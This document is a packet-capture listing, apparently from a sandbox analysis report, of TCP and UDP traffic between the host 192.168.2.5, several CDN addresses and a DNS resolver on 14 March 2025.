Mar 14, 2025 09:51:13.095439911 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.095459938 CET	49729	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:13.095464945 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.095493078 CET	49729	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:13.099984884 CET	49726	443	192.168.2.5	151.101.130.137
Mar 14, 2025 09:51:13.116282940 CET	49728	443	192.168.2.5	104.17.24.14
Mar 14, 2025 09:51:13.116316080 CET	443	49728	104.17.24.14	192.168.2.5
Mar 14, 2025 09:51:13.123064041 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:13.123075008 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:13.123109102 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:13.123121977 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:13.123132944 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:13.123178959 CET	49726	443	192.168.2.5	151.101.130.137
Mar 14, 2025 09:51:13.123193979 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:13.123209953 CET	49726	443	192.168.2.5	151.101.130.137
Mar 14, 2025 09:51:13.123254061 CET	49726	443	192.168.2.5	151.101.130.137
Mar 14, 2025 09:51:13.139256001 CET	49729	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:13.143290043 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:13.143316031 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:13.143389940 CET	49726	443	192.168.2.5	151.101.130.137
Mar 14, 2025 09:51:13.143404961 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:13.144155025 CET	49726	443	192.168.2.5	151.101.130.137
Mar 14, 2025 09:51:13.161458015 CET	443	49728	104.17.24.14	192.168.2.5
Mar 14, 2025 09:51:13.161500931 CET	443	49728	104.17.24.14	192.168.2.5
Mar 14, 2025 09:51:13.161533117 CET	443	49728	104.17.24.14	192.168.2.5
Mar 14, 2025 09:51:13.161603928 CET	49728	443	192.168.2.5	104.17.24.14
Mar 14, 2025 09:51:13.161654949 CET	443	49728	104.17.24.14	192.168.2.5
Mar 14, 2025 09:51:13.161672115 CET	443	49728	104.17.24.14	192.168.2.5
Mar 14, 2025 09:51:13.161674023 CET	49728	443	192.168.2.5	104.17.24.14
Mar 14, 2025 09:51:13.161715984 CET	49728	443	192.168.2.5	104.17.24.14
Mar 14, 2025 09:51:13.179369926 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.179447889 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.179486036 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.179521084 CET	49729	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:13.179543972 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.179886103 CET	49729	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:13.179912090 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.180252075 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.180320978 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.180341005 CET	49729	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:13.180349112 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.180386066 CET	49729	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:13.180387974 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.180399895 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.180447102 CET	49729	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:13.180453062 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.181129932 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.181170940 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.181206942 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.181225061 CET	49729	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:13.181231022 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.181260109 CET	49729	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:13.181291103 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.181351900 CET	49729	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:13.181356907 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.181965113 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.182025909 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.182048082 CET	49729	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:13.182054996 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.182090044 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.182166100 CET	49729	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:13.182188988 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.182235003 CET	49729	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:13.182840109 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.183080912 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.183130980 CET	49729	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:13.183146000 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.183170080 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.183233976 CET	49729	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:13.195749044 CET	49728	443	192.168.2.5	104.17.24.14
Mar 14, 2025 09:51:13.195785046 CET	443	49728	104.17.24.14	192.168.2.5
Mar 14, 2025 09:51:13.213340044 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:13.213366985 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:13.213412046 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:13.213479042 CET	49726	443	192.168.2.5	151.101.130.137
Mar 14, 2025 09:51:13.213489056 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:13.213522911 CET	49726	443	192.168.2.5	151.101.130.137
Mar 14, 2025 09:51:13.213552952 CET	49726	443	192.168.2.5	151.101.130.137
Mar 14, 2025 09:51:13.229837894 CET	49729	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:13.229880095 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.271805048 CET	49726	443	192.168.2.5	151.101.130.137
Mar 14, 2025 09:51:13.271828890 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:13.433983088 CET	49731	443	192.168.2.5	151.101.65.229
Mar 14, 2025 09:51:13.434025049 CET	443	49731	151.101.65.229	192.168.2.5
Mar 14, 2025 09:51:13.434112072 CET	49731	443	192.168.2.5	151.101.65.229
Mar 14, 2025 09:51:13.434580088 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:13.434607029 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.434896946 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:13.435400009 CET	49731	443	192.168.2.5	151.101.65.229
Mar 14, 2025 09:51:13.435414076 CET	443	49731	151.101.65.229	192.168.2.5
Mar 14, 2025 09:51:13.435754061 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:13.435770035 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.601793051 CET	49676	443	192.168.2.5	20.189.173.14
Mar 14, 2025 09:51:13.892155886 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.892239094 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:13.893385887 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:13.893399000 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.893651962 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.893975019 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:13.920984983 CET	443	49731	151.101.65.229	192.168.2.5
Mar 14, 2025 09:51:13.921058893 CET	49731	443	192.168.2.5	151.101.65.229
Mar 14, 2025 09:51:13.922347069 CET	49731	443	192.168.2.5	151.101.65.229
Mar 14, 2025 09:51:13.922359943 CET	443	49731	151.101.65.229	192.168.2.5
Mar 14, 2025 09:51:13.922668934 CET	443	49731	151.101.65.229	192.168.2.5
Mar 14, 2025 09:51:13.922955990 CET	49731	443	192.168.2.5	151.101.65.229
Mar 14, 2025 09:51:13.936332941 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.968332052 CET	443	49731	151.101.65.229	192.168.2.5
Mar 14, 2025 09:51:14.025325060 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.025397062 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.025432110 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.025471926 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.025491953 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:14.025521040 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.025532007 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:14.025552988 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.025590897 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:14.025598049 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.025660038 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.025717020 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:14.025722980 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.029905081 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.029953003 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.030008078 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:14.030024052 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.030078888 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:14.107075930 CET	443	49731	151.101.65.229	192.168.2.5
Mar 14, 2025 09:51:14.107151985 CET	443	49731	151.101.65.229	192.168.2.5
Mar 14, 2025 09:51:14.107213974 CET	443	49731	151.101.65.229	192.168.2.5
Mar 14, 2025 09:51:14.107275963 CET	49731	443	192.168.2.5	151.101.65.229
Mar 14, 2025 09:51:14.108707905 CET	49731	443	192.168.2.5	151.101.65.229
Mar 14, 2025 09:51:14.108727932 CET	443	49731	151.101.65.229	192.168.2.5
Mar 14, 2025 09:51:14.112247944 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.112339973 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.112377882 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.112417936 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.112438917 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:14.112451077 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.112461090 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:14.112466097 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.112505913 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:14.112521887 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.112763882 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.112804890 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.112809896 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:14.112826109 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.112870932 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:14.112890005 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.112976074 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.113010883 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.113027096 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:14.113034964 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.113074064 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:14.113080025 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.113629103 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.113665104 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.113707066 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:14.113713980 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.113750935 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:14.113758087 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.114343882 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.114373922 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.114401102 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:14.114417076 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.114438057 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.114461899 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:14.114468098 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.114543915 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:14.198761940 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.198853970 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.198890924 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.198914051 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:14.198944092 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.199008942 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:14.199017048 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.199121952 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:14.199352980 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:14.199369907 CET	443	49732	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:14.199378967 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:14.199448109 CET	49732	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:21.513688087 CET	443	49719	142.250.185.228	192.168.2.5
Mar 14, 2025 09:51:21.513757944 CET	443	49719	142.250.185.228	192.168.2.5
Mar 14, 2025 09:51:21.513813019 CET	49719	443	192.168.2.5	142.250.185.228
Mar 14, 2025 09:51:22.906095982 CET	49719	443	192.168.2.5	142.250.185.228
Mar 14, 2025 09:51:22.906120062 CET	443	49719	142.250.185.228	192.168.2.5
Mar 14, 2025 09:51:23.202893019 CET	49676	443	192.168.2.5	20.189.173.14
Mar 14, 2025 09:51:26.981903076 CET	443	49721	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:26.981985092 CET	443	49721	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:26.982038021 CET	49721	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:28.906064034 CET	49721	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:28.906109095 CET	443	49721	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:49.239603996 CET	80	49688	217.20.57.36	192.168.2.5
Mar 14, 2025 09:51:49.239737988 CET	49688	80	192.168.2.5	217.20.57.36
Mar 14, 2025 09:51:49.239799976 CET	49688	80	192.168.2.5	217.20.57.36
Mar 14, 2025 09:51:49.244875908 CET	80	49688	217.20.57.36	192.168.2.5
Mar 14, 2025 09:51:49.525151014 CET	80	49689	217.20.57.36	192.168.2.5
Mar 14, 2025 09:51:49.525305033 CET	49689	80	192.168.2.5	217.20.57.36
Mar 14, 2025 09:51:49.525382042 CET	49689	80	192.168.2.5	217.20.57.36
Mar 14, 2025 09:51:49.530232906 CET	80	49689	217.20.57.36	192.168.2.5
Mar 14, 2025 09:51:49.587563038 CET	80	49690	217.20.57.36	192.168.2.5
Mar 14, 2025 09:51:49.587699890 CET	49690	80	192.168.2.5	217.20.57.36
Mar 14, 2025 09:51:49.587781906 CET	49690	80	192.168.2.5	217.20.57.36
Mar 14, 2025 09:51:49.592384100 CET	80	49690	217.20.57.36	192.168.2.5
Mar 14, 2025 09:51:49.740741968 CET	80	49691	217.20.57.36	192.168.2.5
Mar 14, 2025 09:51:49.741046906 CET	49691	80	192.168.2.5	217.20.57.36
Mar 14, 2025 09:51:49.741167068 CET	49691	80	192.168.2.5	217.20.57.36
Mar 14, 2025 09:51:49.746321917 CET	80	49691	217.20.57.36	192.168.2.5
Mar 14, 2025 09:51:50.739022970 CET	80	49696	217.20.57.36	192.168.2.5
Mar 14, 2025 09:51:50.739140987 CET	49696	80	192.168.2.5	217.20.57.36
Mar 14, 2025 09:51:50.739208937 CET	49696	80	192.168.2.5	217.20.57.36
Mar 14, 2025 09:51:50.745549917 CET	80	49696	217.20.57.36	192.168.2.5
Mar 14, 2025 09:51:52.065064907 CET	49697	443	192.168.2.5	2.19.122.51
Mar 14, 2025 09:51:52.065340996 CET	49701	80	192.168.2.5	184.30.131.245
Mar 14, 2025 09:51:52.248467922 CET	49700	80	192.168.2.5	142.250.181.227
Mar 14, 2025 09:51:52.248589039 CET	49704	80	192.168.2.5	217.20.57.36
Mar 14, 2025 09:51:52.252784014 CET	80	49704	217.20.57.36	192.168.2.5
Mar 14, 2025 09:51:52.252844095 CET	49704	80	192.168.2.5	217.20.57.36
Mar 14, 2025 09:51:52.253216982 CET	80	49704	217.20.57.36	192.168.2.5
Mar 14, 2025 09:51:52.253376961 CET	80	49700	142.250.181.227	192.168.2.5
Mar 14, 2025 09:51:52.253489971 CET	49700	80	192.168.2.5	142.250.181.227
Mar 14, 2025 09:52:11.017358065 CET	49743	443	192.168.2.5	142.250.185.228
Mar 14, 2025 09:52:11.017416954 CET	443	49743	142.250.185.228	192.168.2.5
Mar 14, 2025 09:52:11.017534971 CET	49743	443	192.168.2.5	142.250.185.228
Mar 14, 2025 09:52:11.017750978 CET	49743	443	192.168.2.5	142.250.185.228
Mar 14, 2025 09:52:11.017762899 CET	443	49743	142.250.185.228	192.168.2.5
Mar 14, 2025 09:52:11.664339066 CET	443	49743	142.250.185.228	192.168.2.5
Mar 14, 2025 09:52:11.664849043 CET	49743	443	192.168.2.5	142.250.185.228
Mar 14, 2025 09:52:11.664886951 CET	443	49743	142.250.185.228	192.168.2.5
Mar 14, 2025 09:52:21.567668915 CET	443	49743	142.250.185.228	192.168.2.5
Mar 14, 2025 09:52:21.567734957 CET	443	49743	142.250.185.228	192.168.2.5
Mar 14, 2025 09:52:21.567781925 CET	49743	443	192.168.2.5	142.250.185.228
Mar 14, 2025 09:52:22.905654907 CET	49743	443	192.168.2.5	142.250.185.228
Mar 14, 2025 09:52:22.905687094 CET	443	49743	142.250.185.228	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 14, 2025 09:51:06.775345087 CET	53	51946	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:06.799237967 CET	53	54189	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:07.744834900 CET	53	59912	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:07.903017044 CET	53	55612	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:10.952177048 CET	60061	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:10.952409029 CET	50458	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:10.960824966 CET	53	50458	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:10.960849047 CET	53	60061	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:11.577517986 CET	50133	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:11.577517986 CET	56571	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:11.587851048 CET	53	50133	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:11.629125118 CET	53	56571	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:12.319797039 CET	50390	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:12.320369005 CET	64814	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:12.332060099 CET	53	50390	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:12.332077026 CET	53	64814	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:12.333272934 CET	57237	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:12.342360973 CET	53	59262	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:12.342382908 CET	53	57237	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:12.343436003 CET	61791	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:12.343569994 CET	60136	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:12.352241039 CET	53	61791	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:12.352662086 CET	53	60136	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:12.429764032 CET	51871	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:12.429948092 CET	60832	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:12.430607080 CET	64736	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:12.430763006 CET	62324	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:12.436302900 CET	53	51871	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:12.436326027 CET	53	60832	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:12.439793110 CET	53	64736	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:12.440267086 CET	53	62324	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:12.441190958 CET	59672	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:12.441462994 CET	56819	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:12.448112011 CET	53	56819	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:12.450222015 CET	53	59672	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:12.459985018 CET	51795	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:12.460216999 CET	54502	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:12.460624933 CET	65419	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:12.460845947 CET	62131	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:12.466430902 CET	53	51795	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:12.466965914 CET	53	54502	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:12.467241049 CET	53	65419	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:12.468889952 CET	53	62131	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:13.238975048 CET	53	57745	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:13.289304018 CET	54838	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:13.289813042 CET	56470	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:13.290901899 CET	49601	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:13.291214943 CET	63428	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:13.291532993 CET	63243	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:13.296869993 CET	53	54838	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:13.297557116 CET	53	49601	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:13.297981977 CET	53	63428	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:13.299030066 CET	53	56470	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:13.301363945 CET	53	63243	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:13.432466984 CET	52379	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:13.442745924 CET	53	52379	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:13.445599079 CET	56760	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:13.445842981 CET	60737	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:13.454984903 CET	53	56760	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:13.455799103 CET	53	60737	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:13.458941936 CET	65021	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:13.459084034 CET	60559	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:13.466706038 CET	53	65021	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:13.468839884 CET	53	60559	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:13.471288919 CET	57792	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:13.471441031 CET	58554	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:13.480600119 CET	53	57792	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:13.494450092 CET	62766	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:13.494816065 CET	55235	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:13.503715038 CET	53	62766	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:13.503992081 CET	53	55235	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:13.509018898 CET	53	58554	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:13.515866041 CET	54759	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:13.516227961 CET	55773	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:13.524183035 CET	53	54759	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:13.526468992 CET	53	55773	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:13.529550076 CET	60134	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:13.529550076 CET	57785	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:13.537256002 CET	53	60134	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:13.538867950 CET	53	57785	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:13.543823957 CET	63094	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:13.543895006 CET	49659	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:13.551409006 CET	53	49659	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:13.552865028 CET	53	63094	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:13.604139090 CET	59502	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:13.604335070 CET	58943	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:13.611742020 CET	53	58943	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:13.612255096 CET	53	59502	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:14.471034050 CET	53998	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:14.471219063 CET	54259	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:14.477180004 CET	53	57049	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:14.479664087 CET	53	54259	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:14.479712009 CET	53	53998	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:14.546952963 CET	61723	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:14.547221899 CET	50344	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:14.555212021 CET	53	61723	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:14.555759907 CET	53	50344	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:14.558918953 CET	59054	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:14.559287071 CET	54211	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:14.568662882 CET	53	59054	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:14.568802118 CET	53	54211	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:24.850486040 CET	53	55344	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:43.679033041 CET	53	52646	1.1.1.1	192.168.2.5
Mar 14, 2025 09:52:04.629862070 CET	138	138	192.168.2.5	192.168.2.255
Mar 14, 2025 09:52:06.241386890 CET	53	60609	1.1.1.1	192.168.2.5
Mar 14, 2025 09:52:06.309007883 CET	53	49386	1.1.1.1	192.168.2.5
Mar 14, 2025 09:52:09.725673914 CET	53	56404	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
